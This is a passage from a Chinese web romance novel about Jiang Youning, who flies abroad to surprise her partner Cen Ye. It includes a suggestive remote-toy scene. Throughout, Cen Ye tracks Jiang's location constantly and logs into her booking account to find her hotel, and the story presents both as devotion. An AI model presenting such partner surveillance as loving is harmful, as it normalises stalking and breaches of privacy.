女人就跟在她后面,她差点踩到她。 姜又柠说了声抱歉,继续往前走,下意识拿出口袋裏的手机看了眼。 没有新消息,她无聊地翻了翻跟岑曳的聊天记录,又把手机收了起来。 “我们现在确实没什么话聊。” 意识到颜歆在跟她说话之后,姜又柠想要点头但又觉得太奇怪了,只能干笑了下,“刚入职是不是还挺辛苦的?” “还好,跟你一样,双休,我适应得挺快的。” “那你周末做什么呢?” 颜歆看她一眼,“待在家裏,什么都不做。” 姜又柠点点头,又没了话题。 她跟颜歆要不是因为相亲认识,而是作为两个关系姣好的母亲的女儿身份相处的话,现在一定不会这么尴尬。 “你最近是想学编织吗?” “自己做些手工也不错,我挺喜欢做手工的。”颜歆说,“第一次见面,我送了你一条自己编织的水晶手链,还特意买了个漂亮的包装盒,但你还没拆开看,就拒绝了我的见面礼。” 原来那个礼物是颜歆亲手做的…… 姜又柠的心裏多了些愧疚,“对不起啊,我不知道……” “知道是我自己做的手链的话你就会收下了吗?” 姜又柠没想到她会这么问。 相比于用金钱购买,手工制作明显要有诚意得多。 如果她当时收下了礼物,就会被岑曳亲眼看到,那样的话,现在这条手链会在哪裏呢? 一定会被可怜兮兮地丢在角落裏,这样一想,倒是没收下更合适一些,不然她就会更加辜负颜歆的心意。 “你们现在复合了吗?” “快了吧。”姜又柠认真说,“……我们好像从来都没放弃过对彼此的喜欢。” “那为什么会分手?” “因为一些……别的原因。”姜又柠想了想,“互相喜欢不代表就能在一起,对吗?” “我不知道。”颜歆直白地说。 姜又柠抿了抿唇,敏锐地察觉到现在的颜歆要比最开始说话直接了很多。 没有过多的客套和问候,回答和疑问都一针见血。 “你有因为我不高兴吗?”她也不想心裏存了疑问。 “有点。”颜歆半只眼睛紧紧眨了下,格外随意,“但你不用在意,这跟你没关系。” 姜又柠也能理解,但也没办法给予过多安慰。 手机震动一下,她看了眼是岑曳,下意识往旁边走远了一步。 【岑曳:还没回去啊?】 【姜又柠:吃得有点饱了,陪我妈散步消食呢。】 【岑曳:早点回家,回家了给我发消息。】 【姜又柠:光说我呢,你自己休息了没?嗓子好了吗?】 对面没声音了。 姜又柠哼了一声,嘴角还是忍不住暴露了很多笑意。 颜歆淡淡收回眼神,往前走也没说话了。 姜又柠看着她走快了几步的步伐,摸了摸鼻子没跟上去。 回宿舍的时候就比较早了,姜鸿英给颜歆装了一袋子的毛线。 “这个线团是我在裁缝店买的,质量好,比网上买的那些杂七杂八的好多了,颜色也正。”姜鸿英耐心跟她讲,“你有哪裏不清楚的你就告诉我,我教你。” “好,谢谢姜阿姨。” 颜阿姨在一旁,语气酸酸的,“哦哟,你姜阿姨真是多了个亲近的干女儿哦,欺负你妈妈我不会织毛衣噻。” 颜歆颇为无奈,“妈,等我学成了第一个给你织,行吗?” 姜又柠跟姜鸿英告了别,偷偷溜掉了。 刚才走了太久,这裏距离地铁也有一段距离,她便准备打车。 没想到宿舍门口都开始交通管制了,不允许出租车停留,她只能根据地图去找最近可以停车的位置。 研究地图的时候,颜歆就走了过来。 “我开车来的,要不要送你回去?” “不用,不麻烦你了。” “捎你一程吧,难道你在等女朋友接你回去?” “那倒不是。”姜又柠笑了笑,“她这几天去国外了,有点私事儿。” “那还不乐意坐我的车?” 都说了好几次了,姜又柠没办法拒绝了。 岑曳不在,也看不到,这会儿应该没机会吃醋了。 坐上副驾驶的时候,姜又柠问她,“你刚买的车子吗?” 颜歆要她输入了小区地址,“嗯,二手车,收拾了下,也挺干净的。” “我妈之前跟我说,现在对编织感兴趣的年轻人很少,你跟她聊这些,她很开心,我看出来了。” “阿姨能免费教我,我也很高兴。” 相处的气氛总是弥漫着一股难言的尴尬,姜又柠挠了挠头,有些焦灼。 她只能低头跟岑曳发了消息。 【姜又柠:在回家的路上了。】 【姜又柠:你那边是早上吧?一直没睡觉吗?】 【岑曳:飞机上睡了。】 远在国外的岑曳,下了飞机之后就坐上了岑千兰派来的车子。 她拎着行李箱回了独栋别墅,姜又柠不在身边,她也没任何睡意。 要处理的事情很多,岑千兰也不在家裏过夜,母女两个人也没能立即见上面。 岑曳便开着电脑,开了手机地图,一边忙着一边盯着姜又柠的动向。 她看见她去了集体宿舍,之后去了一家餐厅,饭后红点就以龟速绕着集体宿舍慢悠悠地行动。 八九点的时候,红点离开的速度变得很快。 大概是坐上出租车回家了。 岑曳盯着屏幕,随手放大,集体宿舍周围显示了一大片淡橙色—— 交通管制区域。 女人的手指顿了下,将手机拿起来仔细看了看。 正巧姜又柠的微信消息发了过来,她回了句【飞机上睡了】之后,便阖眼靠着椅背,思索着什么。 还在集体宿舍的速度就变了很快…… 这次倒是没说谎,不过也没说得太仔细呢- 到了小区门口,姜又柠就跟颜歆告了别。 “不邀请我上去坐坐?” 姜又柠愣住了,好久都没能说出来话。 “逗你的,我走了。”颜歆笑出了声,跟她招招手,很快开着车离开了。 姜又柠目送着车子消失在视线范围内,很快就回家甩掉鞋子瘫在了沙发上。 太累了。 岑曳一不在,她一想到什么事情都要自己去处理,就会觉得好辛苦。 她闭着眼睛休息了好久,才打开手机继续给岑曳发消息。 【姜又柠:我到家了。】 【岑曳:自己回来的?】 【姜又柠:那不然呢?你自己一个人在家吗?】 【岑曳:嗯。】 【姜又柠:那跟我一样哎,我也一个人在家,好可怜哦。】 【岑曳:是吗?】 姜又柠盯着这条反问句,觉得对面的情绪不太对,她往上翻了翻消息记录,好像也没什么不对劲的地方。 不过这女人的雷达太准了吧? 每次的疑问句式关心都精准地猜对了。 不管是她有没有回家,还是出门吃饭了。 【姜又柠:你休息吧,你现在睡觉都得我求着你吗?】 【岑曳:很忙。】 顺便甩了个屏幕截图过来。 【姜又柠:那你忙,我先休息了。】 她等了下,甚至能想象到对面女人看着这条消息冷笑的样子。 几分钟之后,也没回复,姜又柠扔掉手机,拿着睡衣去了浴室。 她现在睡主卧睡习惯了,自己的房间根本看都不看一眼。 但宽大的床没有岑曳睡着好不舒服哦,她抱着岑曳的枕头,嗅着上面洗发水的芳香。 明明岑曳的洗发水跟自己的一样,但为什么抱着岑曳睡觉的时候,总是觉得她的头发比自己的更香呢。 姜又柠从衣柜裏拿了件女人没有带走的衬衫,给枕头穿上了,随后自己一条腿挂在上面,闭上了眼睛。 睡意酝酿了好久,她根本睡不着。 身后没有温暖的拥抱舒服着她了,姜又柠的心裏有些酸涩。 她拿出抽屉裏的东西,眯着眼睛,回想着女人的动作。 可她太笨了,根本学不到岑曳的一成功力。 怎么自己跟岑曳之间的差别这么大呢? 姜又柠需要助眠,于是按下了开关,抱住枕头之后,她小小地嘆了口气。 时间漫无目的地流逝着,卧室内静悄悄的,但姜又柠似乎卡在了半山腰,不上不下的,自己乱磨蹭着,不仅把位置错开了不说,还弄得一身是汗。 姜又柠茫然地眨了眨眼睛,点开手机,给岑曳打了个电话过去。 “你在干嘛啊……?”她的语气幽怨得很。 ——“在想你?” 姜又柠‘扑哧’一声笑得身体发抖,位置倏地又对上,她忍不住发出了明显的呜咽声。 电话那边明显顿了下。 ——“姜又柠。” “……干嘛啊?”姜又柠咬唇,不耐地挪动了下腿。 ——“把你手机蓝牙打开,找找小程序的链接,然后发给我。” 姜又柠一下子就懂了她的用意,“……行,行吗?” ——“快点。”岑曳语气不耐,催促了一句。 大概是刚才没能到的状况让姜又柠的脑子晕乎乎的,她鬼使神差地听了女人的话,连上蓝牙之后把链接发给了她。 “我,我要不先关了?我自己也没研究过,不知道什么——” 后面的话还没说完,好像就开到了最大。 姜又柠立即攥紧了枕头,大脑瞬间发涨发麻,快要炸掉了一样。 “岑,岑曳……”她的哭腔没能引起女人一丝一毫的同情,就像是在拿她撒气一样。 莫名其妙又发什么疯啊。 姜又柠下意识去翻找手机的蓝牙开关,哪裏都颤个没完,口水沁出来,浸湿了包裹着枕头的衬衫。 蓝牙开关没能找到,她倒是失误不小心摔了手机。 裏层外层被暴躁地摩挲着,她将脑袋埋在枕头上,所有的声音都被沉闷地压住了。 岑曳这个坏女人! 她到底又是哪裏惹到她了啊!!!—— 作者有话说:[哈哈大笑][哈哈大笑] 第63章 不知道懵了多少次, 姜又柠软绵绵地趴在床上,从被窝裏拿出玩具,翻了个身什么话都没力气说了。 睡前和梦裏, 她都在骂着岑曳,泪水和口水流得哪裏都是,可怜得很。 半夜她口干, 呆滞地坐起来,“岑曳, 我想喝水……” 没人应她。 “岑曳……岑曳!”姜又柠又喊了几声, 努力睁开眼睛之后, 才意识到岑曳不在。 酸酸涩涩的感觉从心裏涌起来, 她缓步下了床,双腿还发着软,忍不住哽咽了一声。 姜又柠接了杯热水回来,完全睡不着了。 ——“刚刚喊我了吗?” 手机倏地响了一道声音, 藏了些沙哑, 姜又柠顺着望过去,才发现电话还没有挂,已经接通了好几个小时。 “你怎么没挂电话啊……”姜又柠趴在床上,耳朵听着女人的声音,这下子倒是更难过了。 ——“听着你的呼吸声睡觉, 会更安心一些。” 姜又柠娇嗔道, “你离了我不行吧!!” ——“确实离了你不行。” “可是……可是……”姜又柠哽咽着。 可是她离了她也不行。 她努力忍着自己的泪水, 不想在岑曳面前暴露自己的情绪。 岑曳会担心她的,她如果表现得太明显,这个女人一定会放下所有的事情来专心处理她的情绪。 ——“在家裏好好等我,别再乱跑。” “我没有乱跑的, 我今天去我妈那儿了,我跟你说了呀……”姜又柠还抱着女人的枕头,虽然现在变得湿漉漉的,但是她也不嫌弃,依旧嗅着上面的芳香。 ——“是,你跟我说过了。” 电话那边的情绪似乎有了微妙的变化,姜又柠脆弱的时候本就敏感,这会儿立马感觉出来了。 “你不高兴吗?还是太忙了。”姜又柠想跟她多聊会儿,但又怕打扰她,“你这会儿应该到白天了吧?你刚刚是不是说你在睡觉?” ——“嗯,吃了午饭,睡几个小时之后就去参加一个宴会。” “那挂电话吗……?” ——“这么不想跟我聊天?” “很影响你作息哎!”姜又柠反驳她,“我听你的声音就知道你的嗓子还没彻底好呢,你要吃了药再睡觉知道吗?” 她小口小口喝着热水,同时嘱咐岑曳也要多喝水。 ——“刚睡醒而已,听到你在喊我。”岑曳听着她软绵绵的声音,心裏堵塞得很。 会去集体宿舍那边,还跟姜又柠关系不错的人,她当然知道是谁。 在姜鸿英那儿碰到颜歆是非常正常的事情,但岑曳无法说服自己。 坦白来讲,她没办法不去吃醋。 那是一个跟自己的女朋友相过亲的人。 她跟姜又柠还没再次确认关系又怎么样? 反正是早的事。 姜又柠那边许久都没再说话,手裏还捧着手机,呼吸逐渐变得平稳下来。 看来又是迷迷糊糊地睡着了。 岑曳将手机放在一边,没有关掉地图,而是锁定在了后臺,方便她及时查看。 等她傍晚睡醒的时候,电话就被挂断了,姜又柠发来一句【我要吃早饭了】就没了消息。 她不在家,起得还挺早的。 岑曳看见她的位置就在家裏哪儿也没去才放心。 她只穿了件简单的黑色西服就坐上了司机的车子,岑千兰正坐在后排。 看见她,岑曳有些意外。 “还以为你会直接过去。” “有些事情得提前嘱咐你。”岑千兰打量着她,眼神裏满是无奈,“穿得这么简单……在国内过得还好吧?” “挺好的,每次跟总部彙报,你不是都在吗?”岑曳的视线落在窗外,前几天刚下了雪,她来得正好,出了几天和煦的太阳,不算太冷。 “你工作的情况我当然知道,我是问你私下,自己也几年也没回国了,国内的生活也能适应吧?” 岑曳垂下双睫,“跟以前一样,小时候我都能适应自己一个人在家,更何况现在呢。” 岑千兰嘆了口气,“那个时候工作不够稳定,我对你的陪伴是少,可我得先保证你的物质条件,知道吗?” “嗯。”岑曳应了声,“我没别的意思,你别多想。” 岑千兰的性子要比年轻的时候温柔很多了。 以前她要强不肯认输,对于岑曳更是要求极高,批评打骂毫不手软,后来岑曳成熟之后,以前的教育方式就彻底没用了。 尤其是现在,岑千兰发现岑曳对她疏远了很多。 “之前你还在总部的时候,也自己去医院看过几次,现在你的那些毛病还有再犯吗?” “医生说了,脱离一下原来的生活环境就好了,我现在过得挺舒服的,也不怎么想有变化。”岑曳的话说得很直白,“这几天宴会几乎所有高层和她们身边的人都在,所以我才回来得早,等参加完庄玟的婚礼,我就得走了。” 她的强迫症依旧转移在了具体的对象身上,现在跟姜又柠有了短暂的分别之后,她甚至每秒钟都想要打开地图看一次姜又柠的位置,不然她的情绪就会不太稳定,焦虑得心脏乱跳。 “再多留几天吧,我给负责对接的人说一声,这段时间跟国内的项目走得慢一些,好让你有个休息的时间。” “不用,我在这儿休息不好。”岑曳阖了眼,有些烦躁。 车厢内的氛围倏地安静下来,岑千兰思索着,想着开启新的话题。 她明白母女关系为何突然崩坏,跟姜又柠的感情只不过是一个爆发点。 岑曳不满她近乎专制的教育方式,以‘我白手起家,有钱有地位,我作为母亲,能把我的一切经验都无条件地给予你。但前提是,你必须一切都得听我的。’ 岑曳跟她的性格也很像,在做选择这方面,非常自我。 于是,她不去读岑千兰推荐的国际学校,不去国外上大学,工作之后也不去总部,反而自己在国内的公司一家家面试。 岑曳以行动告诉她,‘我不需要你的经验,我自己也能过得很好。’ 站在每个人的立场,她们都没错,甚至言行如一,有自傲的资本。 她们都要面子,不肯承认对方也是对的,也不乐意去听从对方的想法。 于是在岑千兰发现岑曳跟姜又柠恋爱之后,她像是找到了一个岑曳终于做错选择的地方,开始居高临下地指责她。 人不该为了感情放弃前途,也不该把自己的时间浪费在家政的女儿身上。 岑曳的前途和感情自己平衡得很好,但岑千兰捏住她恋爱这一点,开始以母亲的身份施压。 母女本就焦灼的气氛终于彻底爆发了。 那天岑曳冷脸质问她,‘你到底是不想我跟姜又柠谈恋爱,还是觉得自己终于又找到了一个可以训斥我的理由?’ 她不会把作业再做错,不会再被成绩禁锢,她工作之后很快就赚到了足够的钱,甚至比岑千兰刚工作的时候,薪水多了好几倍。 岑千兰找不到她的任何纰漏,于是在她的感情上大做文章。 ‘收起你的领导欲吧,我不是你的下属。’ 母女吵架之后,岑曳不再跟她密切联系,开始挽回姜又柠。 但姜又柠却残忍地对她提出了分手。 ‘妈妈毕竟是过来人,你是我的女儿,做错了也没关系,总部这边非常适合你,我和我的朋友都非常欢迎你的到来。’ 面对岑千兰的话,岑曳终于反驳不出一个字。 “到了。”岑千兰开口,率先下了车,“都是些你见过的老熟人,记得露个笑,别再丧着个脸。” 岑曳整理了下身上的西服,司机为她拉开车门,她大步朝着宴会厅走去,随手拿过适应生盘子裏的一杯香槟。 这裏不少高层许久都没见她,招呼之间满是奉承和吹捧。 夸赞她做得好,是开拓国内新市场的领头人。 岑曳嘴角始终带着浅淡的笑容,在岑千兰的带领下,一个个打了招呼。 虚假的社交太累了,越是被客套的打趣声包围,她就越想念姜又柠那张笑脸。 也不知道她现在在干什么。 吃过了早饭,是不是又开始懒洋洋地晕碳,躺到床上说好了睡个一小时的回笼觉,醒来之后发现都下午了,甚至快要天黑了? 庄玟和江诗文的婚礼是早就众所周知的事情,她们没有订婚,在回来之后直接就去领了证。 此刻江诗文挽过庄玟的手,两个人慢慢走进了宴会厅。 乌压压的人直奔两个人过去问候,岑曳终于有个喘气的机会。 她走到角落裏,拿出手机看了眼地图,红点老老实实待在家裏没动。 消息记录停留在中午姜又柠给她发过来的外卖照片。 半个多小时过去,岑曳才走向两个人,跟她们碰了杯,将手中的香槟一饮而尽,“恭喜。” “恭喜什么嘛!”江诗文压低了声音,瞪了眼身边的女人,“我能不能不挽着你了?” “聚会结束之后,就算不喜欢我,戏也给我做足了。”庄玟冷脸扯了下她的手,要她挽得更紧。 江诗文想起什么,“对了岑曳姐,柠柠嘱咐我了,要你少喝酒!” 岑曳勾了勾唇,“她挺会使唤人的。” “她说你酒量差,没喝多少就醉了,我跟她说你现在酒量都被应酬练得很好了呀。”江诗文说,“可是她说,你们在家裏一起喝的那几次你醉得也很快的。” 庄玟莫名笑了一声,“你平常就是这么骗小姑娘的?” 岑曳不满她这个评价,讽道,“你一个业界毒瘤懂什么?” “就是!”江诗文戳戳她的胳膊,“没情/趣!” 庄玟抿唇思考,很快思绪就被江诗文拽走,“你不准想着又去网上搜乱七八糟关于情/趣的帖子!” 这种敏感词搜出来的东西实施在她身上那还了得? 她可是见识过几次庄玟开荤的。 学习能力太强了,她受不了。 岑曳酒喝得慢,但始终没断过,香槟一杯接了一杯,但始终没什么话好聊。 眼前的两个人明显有了一套习惯的相处方式,看起来还真有几分欢喜冤家的情侣样。 她看得心烦,手机上又没有姜又柠的消息,她的神经被酒精弄得有些燥,随手解开了两颗衬衫领口的扣子。 江诗文在甜品桌旁坐下,“岑曳姐你都不知道,我发现我在国内胖了好多啊,回来之后家裏衣柜裏面的衣服有好多都穿不上了,婚纱是按照之前尺码定制的,我妈妈最近要我控制体重来着……定制新的婚纱来不及了,我最近只能减少饭量了。” 她撅撅嘴,“我要庄玟跟我一起穿婚纱,她还不乐意呢,非要穿那个死气沉沉的黑西装。” 岑曳垂眸看了眼自己身上只是细节不太一样的黑色西服,扬了扬唇,没好气地笑了笑。 江诗文低头玩手机,给姜又柠发了一大堆吐槽的话。 “柠柠你都不知道,这群人有多会拍马屁,等我回去了我学给你听!” 两个人有来有往地聊,江诗文乐呵呵地脸上一直挂着灿烂的笑。 听到江诗文发语音的称呼,岑曳微顿,点开微信,她怎么一条来自姜又柠的消息都没有? “她这会儿没睡觉?” “没有啊,吃过早饭就在看综艺呢,还跟我发了好多实时吐槽。”江诗文冲她扬了扬手机,“说综艺太好看了,她回笼觉都不想睡了。” 岑曳嘆了口气,走远几步给姜又柠打了电话过去。 ——“干嘛?”语气冲冲的,像是被打扰到了一样。 岑曳拧眉,“怎么不给我发消息?” ——“你不是参加宴会吗?我不能打扰你。” “诗文不是也在,我看你跟她聊得挺开心的。” ——“这个嘛……”对面的语气有些心虚,“我跟你聊综艺你又不感兴趣……” 还会吃醋! 她不就是夸了几句恋爱综艺裏面某个女人很好看,非要跟她生闷气。 她哪裏还敢分享这些东西给她? ——“而且我不跟你聊天,我是怕我自己忍不住流眼泪,我好想你的……”姜又柠哽咽了下,发出了细微的哭腔。 “这个时候还跟我装。” ——“……”姜又柠语气立马正常,“干嘛戳穿我?我是真的想你,见又见不到,抱着个手机有什么用?” 电话被姜又柠气冲冲地挂掉了,弄得倒像是岑曳说了什么不该说的话一样。 她收了手机走到江诗文身边,“你俩聊什么呢?” “我跟柠柠吗?”江诗文说,“我在跟她吐槽婚礼的事情,流程又臭又长。” 本着打探一下最近姜又柠的喜好,闻言这下岑曳也没了兴趣。 宴会再次陷入无聊的客套当中,岑曳急着走,但岑千兰执意要她留在最后。 庄氏是入股高层的新人选,庄玟自然也会留到最后。 庄玟非常适应这种场合,且游刃有余,岑曳打发不掉的人都喊她来帮忙。 “喝多少了?”岑曳看向她又空掉的酒杯。 “还好,吃了解酒药。”庄玟倏地望向她周围,“诗文没跟你一起待着?” 她眸光裏有些急,在甜品桌旁边看到了江诗文的身影之后才放了心,眉眼立即舒展开来。 “称呼变得亲切了啊。”岑曳随口调侃。 “勉勉强强吧,我还在努力说服自己,喊她老婆。” 这个称呼对于岑曳来说也很陌生,她跟姜又柠之间还没有涉及到。 现在的姜又柠喊她姐姐都喊得不情不愿,更何况是更加亲密的称呼。 微信还是没有姜又柠的消息。 明明都打电话暗示过了,甚至是明示,还是看不懂。 仗着她不在她身边,又在做一些皮痒痒的行为。 岑曳抿唇,宴会的人渐渐少了,满身的疲惫涌过来。 她不动声色地离开大厅,先一步坐上了司机的车子回了家。 时差差不多十二个小时,这会儿过了零点,姜又柠也不给她午饭的照片,怕是又躺在沙发上看综艺看到睡着。 国内的下午和傍晚还有晚上,姜又柠都是敷衍地给她发了几条消息。 岑曳不悦地深呼吸,连工作都没什么心情。 这几天她还要到总部做个工作总结,彙报一下近期国内的工作成果。 实在太忙,又因为时差的关系,两个人也没聊上几句。 周中的时候,上下班打卡的消息依旧被app小管家按时发布。 冬天到了,天气转冷,部门内最近生病的人不少,请假的人也比之前多。 看到姜又柠的名字,岑曳的心裏又染了担忧。 她找了个午饭的点给对面打了电话过去,那边语气低沉,说自己感冒又复发了,好像是上次没好彻底。 脑袋晕沉沉的,她一点儿上班的力气都没有。 岑曳恨不得立马飞回去照顾她。 但姜又柠可怜兮兮地恳求她,要她先忙自己的事情。 “别强撑着。”岑曳安抚她。 ——“没有啊。”电话那边传来了翻抽屉的声音,“我吃点药就好了,应该是这几天出门穿得不够厚,又着凉了。” “我买的药在客厅电视机下面的抽屉裏,卧室的就别吃了,快过期了。” ——“哦好。”姜又柠说着,“我想着多请几天假的。” “请,病好了再上班。” 姜又柠体质本来就不好,她真想让她辞职待在家裏好好养身体,她赚的钱足够姜又柠躺在家裏什么都不做了。 够她吃够她喝,够她买所有想要的奢侈品。 ——“那我吃完药就早点睡觉了,你也别太累着了。”姜又柠挂了电话。 手机黑了屏,岑曳握紧了手机,躺在床上依旧没有睡意。 最近几天她睡得都不好,梦裏姜又柠哭着要她回来,还是小时候的样子,更显得可怜了。 她还梦到她们分手的那段时间,姜又柠独自在寝室的床上躺着掉眼泪,小声地恳求她不要讨厌她。 白日裏越是想念,晚上做的梦就越伤心。 岑曳嘆了口气,不愿意闭上眼睛陷入梦乡裏。 尽管梦是假的,但她也不愿意看到姜又柠伤心- 挂了电话的姜又柠立刻松开了捏住自己鼻子的手指。 她装感冒应该装得挺像的吧?鼻音她自己听起来就挺重的。 这几天江诗文跟她分享了很多关于婚礼的事情,尽管口口声声是在吐槽,但她能够看出好朋友情绪裏的欢喜。 婚礼布置得很漂亮,定制了半年的婚纱也非常美丽。 姜又柠看得心裏酸酸涩涩的,真想一下子见到岑曳。 她在抽屉裏翻找着自己的签证,岑曳还以为她在找感冒药吃。 这签证是之前江诗文陪着她办的,说万一日后她们两个有机会一起去国外旅游呢? 但办下来之后,两个人都在忙着工作,周末也没精力跑太远,于是再也没人提起这件事情了。 婚礼要整整办上三天时间,还包了栋高檔酒店方便邀请的宾客住宿,直接导致附近的几家酒店也价格暴涨。 姜又柠看得肉疼,她的存款真不够住两三天的,而且这都十二月了,临近元旦,来回的机票也很贵。 想给岑曳一个惊喜怎么就这么费钱呢! 算了,先订两天的酒店,姜又柠狠狠心咬牙付了钱,又买了第二天早上的机票。 她今晚早睡会儿,明早起来赶飞机。 她的英语也很差,基本沟通都不太流畅,姜又柠紧张得很。 第一次出国,她不知道自己能不能成功,还在网上搜了好多独自出国的帖子。 一想到自己要偷偷见岑曳她心跳就快得不行。 姜又柠晚上差点睡不着,早起又醒晚了,拎着行李箱直奔机场,生怕错过飞机。 她不知道没赶上飞机能不能像高铁一样有退票的机会,她只知道,自己的小金库快要被嚯嚯光了。 她连飞机都没坐过两次,平常不怎么出远门,也是坐高铁比较多。 临上飞机之前,姜又柠还特意发了条消息给岑曳。 【姜又柠:你那边要晚上了吧?我睡回笼觉去了,开个静音,别吵我!】 远在国外的岑曳看了眼这条消息,盯着闪现在机场的红点,久久都没有回复。 她就几个小时忙得没能注意她,跑得倒是快。 于是她依旧把手机换成常亮,将地图点开放在笔记本旁边,一边工作一边盯着看她打算去哪儿。 又在不听话地乱跑,她说话就这么不管用? 直到那红点跟着飞机飞出了国,岑曳眯了眯眼睛,心裏逐渐有了个肯定的猜测。 “非要绕这么大弯子,陪着我一起来不好吗?”她无奈地失笑,“真是个笨蛋。” 骗她又感冒了,骗她请了三天假在家裏休息,还骗她开了静音模式不准她打扰。 怎么会有这么笨的人啊。 真是笨得可爱,笨得她喜欢—— 作者有话说:柠宝想要,柠宝得到[奶茶][奶茶] 第64章 估计着到达的时间, 岑曳一直在盯地图上的红点,终于在晚上的时候,看见姜又柠那趟航班成功落了地。 她搜了下这段时间从国内飞来的航班信息, 顺便截了个图。 本想发几条消息问候,但又觉得太明显。 但是当姜又柠上了出租车之后,红点就消失了。 岑曳刷新了几下, 地图上也没有任何反应,她一下子就急了。 还从来没有这样的状况发生过。 她给姜又柠打了电话过去, 那边也显示已经关机了。 岑曳立刻把身上的睡衣换掉打算出门去找。 客厅的岑千兰正跟来的客人交谈, 见了她慌慌张张地下楼, “干什么去?” 岑曳也没理, 穿好大衣顺手又拿了件外套。 她继续给姜又柠打着电话。 姜又柠的手机很少关机,也没有联系不到的情况。 她第一次出国,又是自己一个人,语言也不通, 上了出租车就莫名其妙的联系不到。 好好地待在家裏不好吗? 如果真的想来, 她会再飞回去亲自带着她过来。 干嘛非要自己一个人瞎折腾?! 岑曳不敢去想最坏的可能性,她开着车直奔机场的方向,这条路上很堵,车行驶得很艰难。 那辆出租车开了没多久就消失了,岑曳没再往机场去, 回想着红点最后消失的区域调头往那裏开。 但偌大的地方满是来来往往的车辆, 她怎么可能找到姜又柠的身影? 她也不清楚她订了哪家酒店, 早知道她应该戳穿她的谎言,不让她花钱去住酒店,跟着她住在家裏当然最舒服。 浓浓的自责感涌上心头,等着红绿灯的空隙, 岑曳继续给姜又柠打着电话,得到的答案依旧是关机。 她翻看着之前姜又柠跟自己的聊天记录。 有天像是闲聊,姜又柠问了句如果她去国外的话该怎么订酒店。 当时岑曳先是回答了她几个软件的名字或者要她直接去官网订,姜又柠自己鼓捣半天没弄懂,说她还不如用国内app订,虽然贵,但是她看得懂。 岑曳将车子停在路边,回忆着姜又柠常用的几个app,在自己手机上切换了账号。 幸好之前登陆过,所以不需要再用验证码登录。 她没找多久就确认了姜又柠所在的酒店,上面已经显示了成功办理入住。 她的心瞬间稳了不少,可没能彻底散去的恐慌还是让她毫不犹豫就朝着这个酒店开。 她不会再让她一个人出门了,既然姜又柠来了这儿,她就会保护好她- 姜又柠下了飞机就在机场停留了半个小时看地图。 幸好很多地方都有中文,她琢磨起来也不算吃力。 她提前下载了打车软件,皱着眉头想第一次注册也不给优惠券。 坐上车的时候,手机快要没电关机,她从背包裏拿出充电宝,却发现自己充不上电了。 “没电了吗?我昨晚充过了呀……”姜又柠按下开关,充电宝的电量是满的。 大概是线坏了。 可她想着充电宝自带充电线,所以就把原装线跟好多贵重物品装进一个包裏,全都塞进了行李箱。 姜又柠看了眼司机,张了张唇还是放弃了主动聊天。 她的蹩脚英语还是不在外面丢人了。 成功到达酒店之后,她递交了自己的证件,用‘没听明白也点头,给房卡就双手接过,聊天结束说thank you’成功办理了住宿。 酒店的人见她看起来晕乎乎的,主动带着她上楼进了房间,还帮她拎了行李。 姜又柠愣了下,肉疼地拿了一张钞票递给对方当作小费。 将手机充了电之后她就去洗澡了,之后累得在床上倒头大睡。 这种时时刻刻紧绷着的感觉实在太消耗人的精力了。 没睡多久,她就感觉到有人在敲门。 姜又柠好久才被吵醒,她从床上坐起来,意识到是真的在敲自己的门之后,吓了一大跳。 她小心翼翼地朝着门口去,透过猫眼往外面看,看到是酒店的工作人员之后,以为她要给自己送什么入住的小礼物,便笑眯眯地开了门。 一打开,门外就有个人冲过来紧紧抱住了自己。 姜又柠刚想挣扎,就嗅到熟悉的手工皂的青柠香。 “岑曳……?” 工作人员见她俩真的认识,这才放心地下了楼。 姜又柠推了下,却被女人抱得更紧。 “你没事就好,没事就好……”岑曳重重地吻了下她的额头,语气裏还带着自责的颤抖。 姜又柠脑袋空白,甚至有些手足无措。 “不是,你怎么知道我在这儿啊……”她用力推开她,整个人都懵懵的。 岑曳深呼吸了下,平复着自己的心情,“看到你的酒店信息了。” “你在哪裏看到的?” “你之前在我手机上登录的app账号忘了退。” 姜又柠这才反应过来,“那我准备的惊喜不是白费了?” 她转身在自己的行李箱裏找了瓶酸奶,没察觉到女人的视线依旧紧紧跟随着她,带着灼热的占有欲。 “……哼。”姜又柠语气不顺,“我飞了大老远来的……” 她摸了摸口袋去找手机,后知后觉地意识到在充电。 岑曳看着她把手机开机,“充了电也不说开机,把我吓死了知不知道?” “我太累了,充上电就去睡觉了……”姜又柠坐在床上,跟女人对上眼神,倏地有些困窘。 她没有告诉岑曳自己想来,就是怕自己突然反悔在她眼裏看来不应该,亲自返回去接她也太麻烦。 姜又柠眨眨眼睛,“不过应该都显示入住了吧?你那么着急干嘛?” 岑曳抿唇,一肚子的火都自己咽了回去,“你订了几天酒店?” “三天啊,你不是看到了吗?怎么还问来问去的……”姜又柠瞧着她的状态特别奇怪。 如果知道她来不应该很惊喜的吗? 怎么有一种受到惊吓的感觉? “你是不是偷偷在国外藏了人了?所以我一来你就害怕?怕我发现了!” 叽裏咕噜地又在乱说一通,岑曳冷脸将她的行李箱盖上,“把后两天的退了,跟我回家住。” 一想到家裏可能会有岑千兰在,姜又柠咬了咬吸管,没说话。 “我就请了三天假,我是来参加诗文的婚礼的,可不是……可不是……”看到女人明显变了的脸,姜又柠后面心口不一的话说不出来了。 “你跟我去另一套房子住,家裏只会有我们两个。”岑曳拎着她的行李箱拉着她就往外面走,不给她任何拒绝的机会,“房子裏生活用品不多,现在我带你去吃饭,吃了饭买些东西就回家。” “岑曳!岑!曳!”姜又柠撤了撤手没能松开,“你这个人怎么这么霸道啊!” 她这个惊喜准备得也太失败了嘛…… “快点,这边可没夜市,去晚了没饭吃。”岑曳将她塞进副驾驶,踩下了油门。 姜又柠抱胸坐着,气得咬了咬牙,“我想的不是这样的!” 女人睨她一眼,“想什么?” “我想的是,我明天先问问你要干嘛,你要去哪裏吃饭,然后我就不经意间出现在你的对面,小心翼翼地用我流利的英语问你‘你好,请问这裏有人吗?我们可以拼个桌吗?’然后我发现你跟我说了中文,我就捂着嘴巴惊讶‘天哪你也是中国人,我太幸运了!我要找这裏旅游三天,你可以当我的导游吗?’” 岑曳认真听完她的幻想,沉默了几秒钟,“……你以后少看点恋爱综艺。” “我这个跟恋爱综艺可不一样,你同意当我的导游之后,我们就一见钟情了!”一想到自己本来的打算,姜又柠的笑容根本藏不住,“现在都怪你,好好的惊喜都没了!你就不能等等吗!我还打算早点睡觉养精蓄锐呢!你这么急着见我干嘛?!” 所有的担忧都说不出口,岑曳没理她,“想吃什么?” “想吃正宗的中餐。” “那没有,饿着肚子吧。” 姜又柠看她一眼,“你好烦,早知道不来了……” 